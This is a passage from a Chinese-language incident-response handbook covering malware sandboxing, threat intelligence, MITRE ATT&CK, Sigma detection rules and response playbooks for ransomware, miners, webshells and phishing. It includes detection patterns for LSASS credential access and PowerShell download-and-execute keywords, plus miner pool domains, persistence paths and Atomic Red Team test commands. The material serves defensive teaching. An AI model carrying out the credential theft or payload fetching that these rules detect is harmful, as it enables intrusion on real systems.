  - 样本加壳了(看不到导入表、字符串被加密)
  - 样本有反调试/反沙箱(不运行就不暴露行为)
  - 需要看 C2 通信的具体内容
  - 需要知道它的"第二阶段 payload"是什么

★ 动态分析的思路:
  在【受控环境】里运行它,观察它做了什么

★ 手工动态分析(Windows,不用沙箱)

准备:
  ① 虚拟机 + 快照(★ 分析完立即回滚)
  ② 断网 或 用 INetSim 模拟网络
  ③ 装好监控工具

监控四件套(Sysinternals):
  ① Process Monitor(Procmon)★★★★★
     ★ 最有价值:记录所有【文件、注册表、进程、网络】操作
     用法:
       - 打开 Procmon,清空(Ctrl+X)
       - 设置过滤器:Process Name is <sample.exe>(★ 必做,否则数据量爆炸)
       - 运行样本
       - 停止捕获(Ctrl+E),看结果
     ★ 重点看:
       - WriteFile(创建了什么文件)
       - RegSetValue(改了什么注册表 → 持久化位置)
       - CreateFile 到敏感路径
       - ★ Process Create(启动了什么子进程)
       - Tcp Connect(连了哪里)

  ② Process Explorer(Procexp)
     ★ 看进程树、父子关系、加载的 DLL、句柄
     ★ 关键:能看到"Word 启动了 PowerShell"这种异常

  ③ Autoruns
     ★ 运行样本前后各跑一次,diff 差异 = 持久化位置

  ④ TCPView / Sysmon
     ★ 看网络连接

  补充:
  ⑤ Wireshark(抓包,看 C2 通信)
  ⑥ Regshot(★ 注册表快照对比,老牌但好用)
     用法:运行前拍快照 → 运行样本 → 再拍 → 对比

★ 标准流程(七步):
  ① 拍 VM 快照
  ② Regshot 第一次快照 + Autoruns 导出 + Procmon 开始捕获
  ③ ★ 断网(或开 INetSim)
  ④ 运行样本,等待 3~5 分钟(★ 有些样本有延迟触发)
  ⑤ 观察:进程树、网络、文件、注册表
  ⑥ Regshot 第二次快照 + Autoruns 再导出 + Procmon 停止
  ⑦ 对比差异 → 产出行为报告 → 回滚 VM

⚠️ 注意:
  - 有些样本会检测虚拟机(VMware 的 MAC、特定进程、特定注册表项)
    → 高级样本会"装死"(在沙箱里表现正常)
    → ★ 这叫【沙箱逃逸 / 反沙箱】
  - 应对:用真实机器(不可回滚,风险高)、或者伪装环境

★ 自动化沙箱(推荐)

沙箱 类型 说明
Cuckoo Sandbox 开源自部署 ★ 最流行的开源沙箱,可本地部署(★ 公司敏感样本必须本地)
CAPE Sandbox 开源 Cuckoo 的分支,增强了恶意软件拆解能力
Hybrid Analysis 在线/企业版 ★ 免费在线版可用,但会公开样本
Any.run 在线(交互式) ★ 可以手工交互(点击、输入),比自动的好用
Joe Sandbox 商业 功能最强,报告最详细
VirusTotal 在线 ★ 有沙箱行为分析,但会公开样本
微步云沙箱(国内) 在线 国内样本库更全
★ 实务建议:
  ① 公司敏感样本 → 用【本地部署的 Cuckoo / CAPE】
     ★ 绝对不要上传到在线沙箱(会泄露,且可能违反合规)
  ② 先看哈希有没有别人分析过(VT、微步)
  ③ 要交互才触发的样本 → 用 Any.run
  ④ ★ 沙箱报告要看,但不要全信:
     - 沙箱环境被识别 → 样本装死 → 报告显示"无恶意行为"
     - 沙箱没网络 → 看不到 C2 行为
     - ★ 沙箱运行时间有限(通常 3~5 分钟)→ 延迟触发的看不到

8.7.6 威胁情报

★ 威胁情报的三个层次(金字塔,从具体到抽象)

            ┌─────────────────┐
            │  战略情报         │  给 CEO / 董事会
            │  Strategic       │  "勒索软件是今年最大威胁"
            │                  │  ★ 回答:为什么、投入多少
            ├─────────────────┤
            │  运营情报         │  给安全负责人
            │  Operational     │  "某 APT 正在攻击金融行业"
            │                  │  ★ 回答:谁在打我、怎么打
            ├─────────────────┤
            │  战术情报         │  给分析师 / SOC / 设备
            │  Tactical        │  "这个 IP 是 C2、这个哈希是恶意的"
            │                  │  ★ 回答:怎么挡、怎么查
            └─────────────────┘

★ 应急响应主要用战术情报(IOC)
  安全规划用运营情报和战略情报

★ 情报从哪来

免费源:
  ① Abuse.ch(★ 强烈推荐)
     - URLhaus(恶意 URL)
     - MalwareBazaar(恶意样本)
     - ThreatFox(IOC,★ 格式规范,质量高)
     - Feodo Tracker(银行木马 C2)
     - SSLBL(恶意 SSL 证书)
  ② 商业免费额度
     - VirusTotal(★ 有 API,可批量查)
     - AlienVault OTX(★ 开源情报社区,质量不错)
     - GreyNoise(★ 互联网扫描器识别,能过滤噪音)
     - 微步在线(国内,有免费查询)
     - 360 威胁情报(国内)
  ③ 官方
     - CISA 的告警(美国)
     - NVD / CVE(漏洞)
     - MITRE ATT&CK(技战术)
     - CNCERT(国内)
  ④ GitHub 社区
     - 各种 IOC 列表、YARA 规则库

商业源(付费,质量更高、更及时):
  Recorded Future、FireEye iSight、CrowdStrike Intelligence、
  Mandiant、Dragos(工控)、Digital Shadows、Flashpoint

★ 内部情报(★ 最容易被忽略但最有价值):
  ★ 你自己公司历史事件里积累的 IOC!
    - 上次被攻击的 C2 IP
    - 上次那个恶意样本的哈希
    - ★ 这些"只有你知道"的情报,对检测针对性攻击最有效
  → 所以每次应急响应后,★ 一定要把 IOC 沉淀到内部情报库

★ MISP(威胁情报共享平台)

MISP(Malware Information Sharing Platform)
  ★ 开源的威胁情报平台,业界事实标准

核心概念:
  Event(事件)   一次安全事件
    └─ Attribute(属性)  具体的 IOC
         - ip-src、ip-dst
         - domain、hostname、url
         - md5、sha1、sha256
         - mutex、regkey
         - email-src、email-dst
         - ★ 每个属性可以标注 TLP(交通灯协议,见下)
    └─ Object(对象)    结构化的属性组合
    └─ Galaxy(星系)    关联到 ATT&CK、恶意软件家族、威胁组织
    └─ Correlation(关联)  ★ 自动发现"这个 IP 在另一个事件里也出现过"

★ TLP(Traffic Light Protocol,交通灯协议)★ 必知:
  用于标注信息的传播范围,错误传播会造成严重后果

  TLP:RED      ★ 绝对不能外传,仅限参与处置的人
  TLP:AMBER    仅限本组织 + 需要知悉的合作伙伴
  TLP:GREEN    可以在社区内共享(同行业),但不能公开发布
  TLP:WHITE    可以公开

  ★ 实务:IOC 分享时一定要标 TLP
     标错了(把 TLP:RED 的信息公开了)是严重事故

★ MISP 的杀手级功能:Correlation(关联)
  "我刚加了一个 IP,MISP 告诉我它在去年另一起事件里也出现过"
  → ★ 这能发现"同一伙人又来了"
  → 这是单纯用 Excel 记 IOC 做不到的

部署:
  Docker 一键部署(官方有 docker-compose)
  ★ 建议:哪怕是小团队也部署一个,IOC 沉淀价值极大

8.8 MITRE ATT&CK 与检测工程

8.8.1 ATT&CK 是什么

一句话定义

MITRE ATT&CK(Adversarial Tactics, Techniques, and Common Knowledge)=攻击者技战术的知识库,把真实的攻击手法编成一本“目录”,每条有编号、有说明、有检测方法和缓解措施。

生活类比

医院有个《国际疾病分类》(ICD),每种病有编号。 ATT&CK 就是攻击手法的 ICD:

  • 医生用 ICD 描述病情
  • 安全人员用 ATT&CK 描述攻击

好处:大家说同一种语言。 你说“我们被 T1055 打了”,另一个人立刻知道是进程注入。

★ 核心结构(五类对象)

① Tactic(战术)      【为什么做】攻击的阶段/目标
   14 个,覆盖攻击全生命周期
   例:TA0004 Privilege Escalation(权限提升)

② Technique(技术)   【怎么做】达到战术目标的具体方法
   例:T1055 Process Injection(进程注入)

③ Sub-technique(子技术)  更细的粒度
   例:T1055.001 Dynamic-link Library Injection(DLL 注入)
       T1055.012 Process Hollowing(进程镂空)

④ Procedure(过程)   【具体实例】某个组织实际是怎么用的
   例:APT29 用 T1055.001 注入 svchost.exe

⑤ Group(组织)       威胁组织/APT 团伙
   例:G0016 APT29(俄罗斯)
   每个组织关联"它常用哪些技术"

⑥ Software(软件)    恶意软件/工具
   例:S0002 Mimikatz
   每个软件关联"它实现了哪些技术"

⑦ Mitigation(缓解)   防御措施
   例:M1026 Privileged Account Management
   每条技术关联"怎么防"

⑧ Data Source(数据源) 检测需要什么日志
   例:DS0009 Process(进程监控)
   每条技术标注"检测它需要采什么数据"

★ 14 个 Tactic(战术,按攻击链顺序)

# ID 战术 白话 典型技术
1 TA0043 Recon
侦察
打探情报 主动扫描、收集邮箱、钓鱼网站准备
2 TA0042 Resource Development
资源开发
准备工具 买域名、租服务器、注册假账号
3 TA0001 Initial Access
初始访问
进门 钓鱼邮件、漏洞利用、供应链、有效账号
4 TA0002 Execution
执行
跑起来 PowerShell、WMI、计划任务、用户执行
5 TA0003 Persistence
持久化
留后门 注册表 Run、服务、计划任务、WMI 订阅
6 TA0004 Privilege Escalation
提权
变管理员 UAC 绕过、SUID、Potato、漏洞利用
7 TA0005 Defense Evasion
防御规避
躲检测 清日志、伪装进程名、代码注入、混淆
8 TA0006 Credential Access
凭据访问
偷密码 LSASS dump、SAM、键盘记录、钓鱼
9 TA0007 Discovery
发现
摸环境 系统信息、网络扫描、域枚举、文件发现
10 TA0008 Lateral Movement
横向移动
串门 PTH、RDP、SMB、WinRM、远程服务
11 TA0009 Collection
收集
找数据 剪贴板、邮件、浏览器数据、本地文件
12 TA0011 Command and Control
命令控制
建通道 端口、隧道、HTTP、DNS、加密信道
13 TA0010 Exfiltration
数据渗出
偷走 走 C2、云盘、U 盘、物理介质
14 TA0040 Impact
影响
搞破坏 勒索加密、数据擦除、服务停止、篡改

⚠️ 注意顺序不是严格线性的,攻击者会跳来跳去。 比如“收集(11)“往往在”渗出(13)“之前,但也可能在横向移动(10)之后反复做。

8.8.2 ATT&CK 的四个实用场景

场景一:给攻击事件“打标签”(★ 最基础)

为什么要打标签:
  不用 ATT&CK 时,你的报告写:
    "攻击者用 PowerShell 下载了一个文件,然后注入到 svchost.exe,
     然后加了注册表 Run 项,然后连了一个外部 IP……"

  用 ATT&CK:
    T1059.001  Command and Scripting Interpreter: PowerShell  [Execution]
    T1105      Ingress Tool Transfer                          [Command and Control]
    T1055.012  Process Injection: Process Hollowing           [Defense Evasion]
    T1547.001  Registry Run Keys / Startup Folder             [Persistence]
    T1071.001  Application Layer Protocol: Web Protocols      [Command and Control]

  ★ 好处:
    ① 简洁、无歧义
    ② ★ 能跟别人的报告对比("这跟某次 APT29 的手法一样")
    ③ 能查"这个技术怎么检测、怎么防"
    ④ 能算"我们的检测覆盖了多少技术"

场景二:检测覆盖度评估(★ 最有价值)

问题:我们的检测能力有多强?还差多少?

做法:
  ① 列出你现有的所有检测规则(SIEM 规则、EDR 规则、告警)
  ② 给每条规则打上 ATT&CK 技术标签
  ③ 导入 ATT&CK Navigator,生成热力图
  ④ ★ 看哪些格子是空的

  ATT&CK Navigator:https://mitre-attack.github.io/attack-navigator/
  ★ 免费的在线工具,能生成彩色的覆盖度热力图

  ★ 热力图解读:
    红色(覆盖好)  → 我们有多条规则覆盖这个技术
    黄色(部分覆盖)→ 只有一条规则,或者规则太宽泛
    空白(没覆盖)  → ★ 这是我们的盲区

  ★ 然后优先级排序:
    ① 优先补【高危且高频】的技术的检测
       (如 T1055 进程注入、T1003 凭据 dump、T1059 PowerShell)
    ② ★ 特别关注"攻击者几乎必用"的技术:
       T1059.001 PowerShell
       T1003.001 LSASS Memory
       T1055      Process Injection
       T1071.001  Web C2
       T1021      Remote Services(横向)
       T1547.001  Registry Run(持久化)

场景三:紫队演练(Purple Team)

紫队 = 红队(攻击)+ 蓝队(防守)一起练
  ★ 目的不是"看谁能赢",是"验证检测是否有效"

流程(★ 用 ATT&CK 组织):
  ① 选一个技术(比如 T1055.001 DLL 注入)
  ② 红队:用 ATT&CK 里描述的方法实际打一次
  ③ 蓝队:看看有没有告警?告警准不准?看不看得懂?
  ④ 结果:
     - 有告警 → 记录告警质量,验证检测有效
     - 没告警 → ★ 发现盲区,补检测规则
  ⑤ 迭代

  ★ 工具:Atomic Red Team(★ 强烈推荐)
     https://github.com/redcanaryco/atomic-red-team
     ★ 提供【每一条 ATT&CK 技术的自动化测试脚本】
     atomic-red-team/atomics/T1055.001/T1055.001.md
     → 直接跑,就能验证你的检测能不能抓到

     用法:
       Invoke-AtomicTest T1055.001 -ShowDetailsBrief
       Invoke-AtomicTest T1055.001 -TestNumbers 1
     ★ 这是"最低成本的检测能力验证方法"

场景四:威胁情报关联

情报报告里说:"APT29 最近在用 T1055.012 和 T1567.002"

→ 立刻能查:
  ① 我们有没有检测这两条技术?
  ② 我们有没有相关的日志?(ATT&CK 标注了 Data Source)
  ③ ★ 我们的环境里有没有类似行为的历史记录?

★ 这让"威胁情报"从"一堆 IOC"变成"可落地的行动项"

8.8.3 检测成熟度模型(Detection Maturity Model)

★ 五层(从弱到强)

Level 0:没有日志(No Visibility)
  ★ 对应技术:我们完全没有相关数据
  → 什么都检测不到

Level 1:有日志(Raw Logs)
  有原始数据了,但没规则
  ★ 能做事后取证,但不能实时告警

Level 2:有规则(Basic Detection)
  有简单的规则(如"看到 mimikatz 字符串就告警")
  ★ 能告警,但容易被绕过(改个名字就没了)

Level 3:行为检测(Behavioral Detection)★ 目标
  检测的是【行为】而不是【特征】
  ★ 例:"非系统进程访问了 LSASS"(不管它叫什么名字)
  → 攻击者改名字、改哈希都绕过不了

Level 4:环境感知(Contextual / TTP-based)
  结合业务上下文
  ★ 例:"这个账号平时只从运维终端登录,今天从办公机登录了"
  → 需要基线,误报率最低,价值最高

★ 大部分企业的现状:
  Level 1~2(有日志、有简单规则)
  ★ 目标:把高频高危的技术做到 Level 3

★ 怎么升级:
  Level 1 → 2:写检测规则(用 Sigma,见下)
  Level 2 → 3:改成行为描述(不依赖具体的字符串/哈希)
  Level 3 → 4:建立基线、加上下文(资产重要性、用户行为基线)

8.8.4 Sigma 规则

一句话定义

Sigma=通用的、厂商无关的日志检测规则格式,被称为“日志界的 YARA”。

问题:
  每家 SIEM 的规则语法都不一样
    Splunk 用 SPL,Elastic 用 KQL,QRadar 用 AQL,
    Sentinel 用 KQL,ArcSight 用……
  → 规则没法复用,写一套就得翻译一套

★ Sigma 的解决:
  用 YAML 写一个【通用规则】
  → 用 sigmac / sigma-cli 转换成各个平台的语法
  → ★ 一次编写,到处使用

  而且社区有【上千条现成规则】
    https://github.com/SigmaHQ/sigma
    ★ 覆盖了 Windows、Linux、云、各种应用

★ Sigma 规则示例

title: 可疑的 LSASS 内存访问(凭据窃取检测)
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: 检测非系统进程访问 LSASS 进程内存,这是凭据窃取(如 mimikatz)的典型行为
author: YourName
date: 2026-03-15
references:
    - https://attack.mitre.org/techniques/T1003/001/
tags:
    - attack.credential_access          # ★ ATT&CK 战术
    - attack.t1003.001                  # ★ ATT&CK 技术
    - attack.t1003
logsource:
    product: windows
    service: sysmon                     # ★ 数据源声明
detection:
    selection:
        EventID: 10                     # Sysmon Event 10 = ProcessAccess
        TargetImage|endswith: '\lsass.exe'
        GrantedAccess|contains:
            - '0x1010'                  # 读取内存
            - '0x1410'
            - '0x1438'
            - '0x143a'
            - '0x1f0fff'                # ★ PROCESS_ALL_ACCESS
            - '0x1f1fff'
            - '0x1f3fff'
    filter_legit:
        # ★ 排除正常的系统进程(减少误报)
        SourceImage|endswith:
            - '\windows\system32\lsass.exe'
            - '\windows\system32\svchost.exe'
            - '\windows\system32\wininit.exe'
            - '\program files\crowdstrike\csfalconservice.exe'   # ★ EDR 自己
            - '\program files\sentinelone\sentinelagent.exe'
            - '\program files\windows defender\mssense.exe'
    condition: selection and not filter_legit
falsepositives:
    - 杀毒软件、EDR、某些系统管理工具会正常访问 LSASS
    - ★ 必须先在环境里跑一遍,把这些加进白名单
level: high
# 另一个例子:检测 PowerShell 下载执行(常见的无文件攻击入口)
title: PowerShell 下载并执行
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: stable
description: 检测 PowerShell 使用 DownloadString/DownloadFile 从网络下载内容
author: YourName
tags:
    - attack.execution
    - attack.t1059.001
    - attack.command_and_control
    - attack.t1105
logsource:
    product: windows
    service: powershell
    definition: 'PowerShell 脚本块日志(Event 4104)'
detection:
    keywords:
        - 'DownloadString'
        - 'DownloadFile'
        - 'WebClient'
        - 'Invoke-WebRequest'
        - 'Start-BitsTransfer'
        - 'Net.WebRequest'
        - 'IEX'
        - 'Invoke-Expression'
    condition: keywords
falsepositives:
    - 合法的软件部署脚本
    - 某些监控 agent
level: medium

★ 用法

# 安装 sigma-cli
pip install sigma-cli

# 转换成 Splunk SPL
sigma convert -t splunk -p sysmon rules/windows/process_access/
# 转换成 Elastic KQL
sigma convert -t elastalert -p sysmon rules/
# 转换成 Microsoft Sentinel
sigma convert -t sentinel rules/
# 转换成 QRadar、ArcSight、Humio、Loki、Elasticsearch...

# ★ 查看支持哪些后端
sigma list targets
sigma list pipelines

# 校验规则语法
sigma check rules/my_rule.yml

# ★ 实务建议:
#   ① 先从 SigmaHQ 拉取官方规则库
git clone https://github.com/SigmaHQ/sigma.git
#   ② 用 pySigma 批量转换成你的 SIEM 语法
#   ③ ★ 关键:先跑"统计模式"看命中量和误报率
#      不要直接上生产告警!
#   ④ 调优白名单,再上线

8.8.5 检测工程的工作流(★ 落地方法)

┌──────────────────────────────────────────────────────────┐
│               检测工程六步闭环                             │
├──────────────────────────────────────────────────────────┤
│                                                           │
│  ① 【选目标】选要检测的技术                                │
│     依据:                                                │
│       - ATT&CK 覆盖度热力图的空白格                        │
│       - ★ 本单位历史事件里实际用到的技术                    │
│       - 威胁情报里提到的、针对本行业的技术                   │
│       - ★ 攻击者几乎必用的高频技术(PowerShell、LSASS...)   │
│                                                           │
│  ② 【确认数据源】这个技术需要什么日志?                     │
│     ★ ATT&CK 每条技术都标注了 Data Source                  │
│     例:T1003.001 需要 "Process: Process Access"          │
│     → 对应 Windows 上就是 Sysmon Event 10                  │
│     → ★ 没有数据源就没法检测,先补采集                      │
│     ★ 这一步经常卡住("我们想要检测这个,但没开日志")       │
│                                                           │
│  ③ 【写规则】                                             │
│     - ★ 优先用社区现成的(SigmaHQ、Elastic、Splunk ES)     │
│     - 自己写的话用 Sigma(便于复用)                        │
│     - ★ 原则:描述【行为】,不描述【特征】                   │
│       坏:"进程名 = mimikatz.exe"(改名就绕过)             │
│       好:"非白名单进程读取 LSASS 内存"                     │
│                                                           │
│  ④ 【测试】★ 最容易被跳过但最重要                          │
│     - 用 Atomic Red Team 实际触发一次,看有没有告警          │
│     - ★ 在【生产环境】跑"统计模式"(只计数不告警)1~2 周     │
│     - 统计:命中多少条?误报多少条?                        │
│     - ★ 误报率 > 50% 的规则不要上生产                       │
│       (告警疲劳会让 SOC 忽略所有告警,比没有还糟)          │
│                                                           │
│  ⑤ 【上线 + 文档】                                        │
│     - 每条规则要有文档:                                    │
│       · 检测的是什么攻击(ATT&CK 编号)                     │
│       · 告警了应该怎么处置(★ Runbook)                     │
│       · 已知的误报场景                                      │
│       · 负责人                                             │
│     - ★ 没有 Runbook 的告警 = 没人会处理 = 等于没有         │
│                                                           │
│  ⑥ 【度量与迭代】                                         │
│     - 跟踪指标:                                           │
│       · 命中量(太少 = 规则可能失效;太多 = 误报)           │
│       · ★ 误报率(目标 < 10%)                             │
│       · 平均处置时间(MTTR)                               │
│       · ★ 有没有漏报(通过红队演练发现)                    │
│     - 每季度 review 一次                                   │
│                                                           │
└──────────────────────────────────────────────────────────┘

8.9 应急响应手册(★ 本章最实用的一节)

8.9.1 应急响应的组织与分工

★ 角色分工(表要提前定好,不能现场分)

角色 职责 谁担任
事件指挥官(IC, Incident Commander) ★★ 做决策(隔离不隔离、上报不上报、恢复不恢复)
不亲自做技术操作
安全负责人 / CISO
技术负责人(Technical Lead) 带队做技术分析、取证、处置 资深安全工程师
取证分析师 做镜像、分析证据、建时间线 取证工程师
沟通负责人 ★ 对内对外沟通(管理层、业务、公关、法务、监管) 安全经理 / 公关
记录员(Scribe) ★★ 记录所有操作和决策的时间点(★ 极易被忽略但极重要) 任何人(轮值)
业务代表 判断业务影响、决定能不能停业务 业务负责人
法务 合规判断(要不要上报监管、要不要通知用户) 法务
外部支援 应急服务厂商、厂商技术支持、执法机关 提前签好合同

★ 三条组织原则

原则一:【事件指挥官不做技术操作】
  ★ 指挥官的职责是决策和协调,不是敲命令
  → 指挥官一旦陷进技术细节,就没人看全局了
  → 这是消防和急救的标准做法,IT 也应该学

原则二:【必须有记录员】
  ★ 这是最容易被忽略的角色
  → 没有记录 = 事后无法复盘、无法证明你做了什么
  → 记录内容:几点几分、谁、做了什么决定/操作、依据是什么
  → ★ 用共享文档或专门的 IRC/Slack 频道,时间戳自动带上

原则三:【带外通信】
  ★ 如果攻击者可能控制了你的邮件/IM 系统,你怎么联系团队?
  → 提前准备:个人手机、备用 IM(微信/Telegram 群)、电话会议桥
  → ★ 这是"准备阶段"就要做好的事

★ 沟通的三个禁忌

① 不要在未确认前对外说"我们没被攻击"
   → 后面打脸会非常难看,且可能涉及法律责任

② 不要在外部渠道(微信群、公开邮件)讨论细节
   → 攻击者可能有内线,或者你的账号已被控制

③ ★ 不要隐瞒
   → 该上报监管的必须上报(个保法、数据安全法有明确时限要求)
   → ★ 隐瞒的后果远大于事件本身

8.9.2 五个常见场景的处置剧本


剧本一:勒索软件(★ 最高优先级)

═══ 0~15 分钟:确认与紧急决策 ═══

【立即要回答的三个问题】
  ① 是不是勒索软件?
     判断依据:
       - 文件被批量重命名(加了奇怪的扩展名)
       - 有勒索信文件(README.txt、HOW_TO_DECRYPT.html)
       - ★ 用户报告"文件打不开"
       - 磁盘上有大量文件被修改(监控告警)
       - ★ 看到 CryptEncrypt / 大量文件写入的行为

  ② 加密还在进行吗?★★★ 这是最关键的问题
     判断方法:
       - 看文件修改速度(还在增加 = 还在加密)
       - 看 CPU/磁盘 IO(★ 加密时 IO 会很高)
       - 看进程(有没有异常的进程在跑)

  ③ 波及范围?
     - 一台?一个网段?全域?
     - ★ 共享目录被加密 = 影响所有人

【★ 立即行动(并行,不要串行)】

  行动 1:切断加密(★ 最高优先级,比取证更重要)
    - 如果【正在加密】→ 立即断网!毫不犹豫!
      ★ 理由:每分钟都在丢数据,证据可以损失,数据不能
    - 断网方式(按优先级):
      ① 拔网线 / 关交换机端口(★ 最快、最彻底)
      ② 禁用网卡(在控制台操作)
      ③ 防火墙封禁(如果攻击者还能操作机器,这可能被绕过)
      ★ 注意:不要"关机",关机可能触发某些勒索的破坏逻辑

  行动 2:保护备份 ★★★
    - ★ 立即检查备份系统是否可达、是否被加密
    - ★ 立即断开备份系统与生产网络的连接(或置为只读)
    - ★ 很多勒索软件会【专门先删备份】
    - 云备份:立即创建快照(★ 快照是不可变的)
    - ★ 检查备份的保留策略(有多久的历史版本?)

  行动 3:保住域控 ★★
    - ★ 如果域控没被加密,立即加强保护:
      - 域控断掉不必要的网络
      - ★ 立即重置 krbtgt(防止攻击者用黄金票据回来)
      (但要先评估,见第七章 G13)
    - 如果域控被加密 → 灾难级,启动离线恢复流程

  行动 4:快速取证(5~10 分钟,能拿多少拿多少)
    - 内存 dump(★ 加密的密钥可能在内存里!)
      ★ 这一点特别重要:有些勒索软件的密钥在内存里,
        如果能及时 dump,可能能解密文件
    - 进程列表、网络连接
    - 勒索信文件(★ 里面有攻击者邮箱、比特币地址、样本名)
    - ★ 勒索信是识别勒索家族的最好线索

═══ 15 分钟 ~ 2 小时:评估与遏制 ═══

  - 确定勒索软件家族(★ 用勒索信、扩展名、样本哈希去查)
    ★ 资源:
      - ID Ransomware(https://id-ransomware.malwarehunter.team/)
        ★ 上传勒索信或加密文件,自动识别家族
      - No More Ransom(https://www.nomoreransom.org/)
        ★ ★ 有免费的解密工具!先查这个
      - ★ 这一步极其重要:很多旧家族有公开解密器!

  - 确定加密范围:
    - 多少台机器?多少数据?
    - ★ 有没有加密到备份?

  - 确定初始入口(★ 决定会不会二次感染):
    - RDP 爆破?(看 4625)
    - 钓鱼邮件?
    - 漏洞利用?(VPN、Exchange 等)
    - ★ 没找到入口就恢复 = 一定会被二次加密

  - 隔离所有受影响机器

═══ 2~24 小时:根除与恢复决策 ═══

  【★ 三个关键决策】

  决策一:付不付赎金?
    ★ 安全从业者的标准答案:不建议付
    理由:
      ① 付了不能保证拿到解密密钥(很多案例付了不给)
      ② ★ 资助犯罪
      ③ ★ 可能被制裁合规问题(某些组织受制裁,付赎金违法)
      ④ 会被标记为"愿意付",以后会被反复攻击
      ⑤ ★ 即使拿到密钥,解密往往要几周,且不一定完整
    ★ 但要诚实:如果业务真的无法承受、且没有备份,
      这是【业务决策】而不是【安全决策】
      → 应该由 CEO/董事会决定,安全团队提供信息
    ★ 决策前要做的:
      - 确认有没有备份(有 → 不付)
      - 确认有没有公开解密器(有 → 不付)
      - 确认数据的重要性
      - ★ 咨询法务和执法机关

  决策二:从备份恢复还是重建?
    ★ 从备份恢复的前提:
      ① 备份是【干净】的(★ 要扫描!)
      ② 备份的时间点可以接受
      ③ 已找到并修复了入口
    ★ 如果备份被加密或删除 → 只能重建

  决策三:什么时候恢复业务?
    ★ 不要急着恢复!
    恢复前必须确认:
      ① 入口漏洞已修复
      ② 所有后门已清除
      ③ ★ 所有凭据已重置(域管、服务账号、用户)
      ④ 监控已加强
    ★ 恢复后 2~4 周是"二次感染"高发期

═══ 恢复后:复盘 ═══
  - ★ 必做的改进:
    ① 备份策略(3-2-1:3 份、2 种介质、1 份离线/离线不可变)
    ② 禁用 RDP 外网暴露 / 上 MFA
    ③ EDR 全覆盖
    ④ 邮件网关加强
    ⑤ 网络分段(★ 让勒索不能横向扩散)
    ⑥ ★ 定期做恢复演练(★ 很多公司有备份但没验证过能恢复!)

剧本二:挖矿木马

═══ 特点:不直接破坏数据,但消耗资源、可能意味着有后门 ═══

【确认】
  - CPU/GPU 占用异常高(★ 但攻击者常限制在 70% 以下躲避检测)
  - ★ 有进程连到矿池(常见端口:3333、4444、8443、14433、45700)
    常见矿池域名:pool.minexmr.com、supportxmr.com、ethermine.org、
                  f2pool.com、nanopool.org
  - ★ 进程名伪装(如 kworker、systemd-daemon、svchost)
  - 有持久化(cron、服务、计划任务)
  - ★ 有"看门狗"进程(杀掉主进程会自动重启)

【处置六步】

  ① 不要直接 kill 进程(★ 会被看门狗重启,且暴露你已经发现了)

  ② 先找持久化(★ 杀进程前必须先清持久化,否则复活)
     Linux:
       crontab -l -u <user>、/etc/cron.d/、systemd timer、
       /etc/ld.so.preload、~/.ssh/authorized_keys、PAM 后门、
       /etc/rc.local、init.d
     Windows:
       计划任务、服务、注册表 Run、WMI 订阅、启动文件夹

  ③ ★ 找"看门狗"(★ 这是挖矿木马的标配)
     - 看进程树:谁在监控主进程
     - 常见做法:
       · 一个进程定时检查主进程在不在,不在就重启
       · ★ 用 cron + curl 从远程拉脚本重新执行
       · 多个进程互相守护

  ④ 一次性清除(★ 要并行,不要串行)
     - 断开网络(防止它重新下载)
     - ★ 同时杀掉所有相关进程(包括看门狗)
     - 同时删除持久化
     - ★ 顺序:先清持久化 → 断网 → 杀进程
       (反过来会被重新下载)

  ⑤ 找入口(★ 挖矿往往意味着"机器已经完全被控")
     - 常见入口:
       · Redis/Docker/Nacos 未授权访问 ★★★
       · Web 漏洞(Log4j2、Fastjson、Struts2、Shiro)
       · 弱口令(SSH、RDP、数据库)
       · ★ 供应链(被投毒的依赖包)
     - ★ 挖矿本身不是目的,攻击者已经在里面了,
       可能已经放了后门、偷了数据
       → ★ 不能只清挖矿就完事!

  ⑥ 加固
     - 修漏洞、改弱口令
     - 关闭不必要的服务暴露
     - ★ 上 EDR / HIDS
     - ★ 资源监控告警(CPU 持续 > 50% 告警)

剧本三:Webshell(★ Web 服务器被控)

【确认】
  - WAF/IDS 告警
  - Web 目录下出现可疑文件(.jsp、.php、.aspx)
  - ★ 文件内容有 eval、base64_decode、system、exec 等
  - 有异常的出站连接(服务器主动连外部)
  - ★ 文件创建时间跟正常发布不一致

【处置七步】

  ① ★ 保留 Webshell 文件(不要删!)
     - 它是证据,能告诉你攻击者做了什么
     - ★ 先复制出来保存,算哈希

  ② 分析 Webshell
     - 看连接密码(冰蝎、哥斯拉、菜刀有特征)
     - 看功能(命令执行、文件上传、数据库操作)
     - ★ 看有没有日志功能(有些 Webshell 会记录操作,但对我们没用)

  ③ ★ 查 Web 访问日志(★ 最关键)
     - 找谁访问过这个 Webshell
     - ★ 看 POST 请求(Webshell 的命令在 POST body 里)
     - 找访问的时间范围 = 攻击者的活动时间窗口
     - ★ 找同一个 IP 访问的其他路径(可能还有别的 Webshell)

  ④ 查攻击者做了什么
     - ★ 看命令历史(如果有)
     - 看服务器上的文件变化(新建、修改)
     - 看出站连接
     - ★ 看有没有提权、持久化

  ⑤ 找入口 ★
     - 是怎么传上去的?
       · 文件上传漏洞 ★
       · 反序列化漏洞(Shiro、Fastjson、WebLogic)★
       · 编辑器漏洞(UEditor、KindEditor、FCKeditor)★
       · 弱口令(后台、Tomcat manager)
       · 已有漏洞的组件(Struts2、Log4j2)
       · ★ 或者:通过其他机器横向过来的
     - ★ 找不到入口 = 一定会被再传一次

  ⑥ 清除 + 恢复
     - 修漏洞 / 升级组件
     - 删除 Webshell(★ 保留副本做证据)
     - ★ 检查有没有其他 Webshell(★ 攻击者通常放多个)
     - 改所有可能的凭据(数据库、后台、服务器账号)
     - ★ 从干净备份恢复 Web 目录(更保险)

  ⑦ 加固
     - Web 目录设置为不可执行
     - 文件上传目录单独配置,禁止脚本执行
     - WAF 规则
     - ★ 文件完整性监控(FIM)—— 有文件变化立即告警
     - ★ 定期扫描 Web 目录

剧本四:钓鱼邮件

【特点:可能是大规模攻击的起点,需要快速确定影响面】

【处置六步】

  ① 保留邮件(★ 不删!)
     - 保存 .eml 原始文件(★ 里面有邮件头,是溯源的关键)
     - ★ 提取:发件人、发件 IP、Return-Path、X-Originating-IP、
       附件哈希、URL、Received 链

  ② ★ 确定"谁收到了"(★ 最重要的一步)
     - 在邮件网关/邮件服务器上搜索:
       · 相同发件人
       · 相同主题
       · 相同附件哈希
       · 相同 URL
     - ★ 输出:收件人清单(这是所有后续工作的基础)

  ③ ★ 确定"谁中招了"(★ 比上面更难,也更关键)
